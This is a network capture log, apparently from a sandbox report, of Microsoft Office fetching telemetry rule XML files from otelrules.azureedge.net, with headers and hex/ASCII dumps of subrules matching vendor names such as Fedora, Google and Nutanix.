2024-12-07 23:48:35 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234836Z-r1cf579d77867vg8hC1EWR8knc00000003k0000000006bfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:37 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234838Z-r1cf579d778xq4f9hC1EWRx41g00000003hg000000006vuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:37 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234838Z-r1cf579d778w59f9hC1EWRze6w00000004300000000015s2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:38 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234838Z-r1cf579d7782ctslhC1EWRfbrw00000004ag0000000011me x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:38 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234838Z-r1cf579d778kr8xrhC1EWRfkun000000043000000000a61t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:38 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:38 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234838Z-r1cf579d7786c2tshC1EWRr1gc00000003dg0000000043k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:38 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:39 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234840Z-r1cf579d7782ctslhC1EWRfbrw0000000490000000002w4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:39 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234840Z-r1cf579d778dfdgnhC1EWRd3w000000003pg000000000c31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:40 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234840Z-r1cf579d778x776bhC1EWRdk8000000003wg000000000b1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:40 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234840Z-r1cf579d778xq4f9hC1EWRx41g00000003pg00000000260g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:40 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234840Z-r1cf579d778kr8xrhC1EWRfkun000000045g000000006b81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:42 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:42 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234842Z-r1cf579d77898tqwhC1EWRf9q800000003rg000000007xqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:42 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" 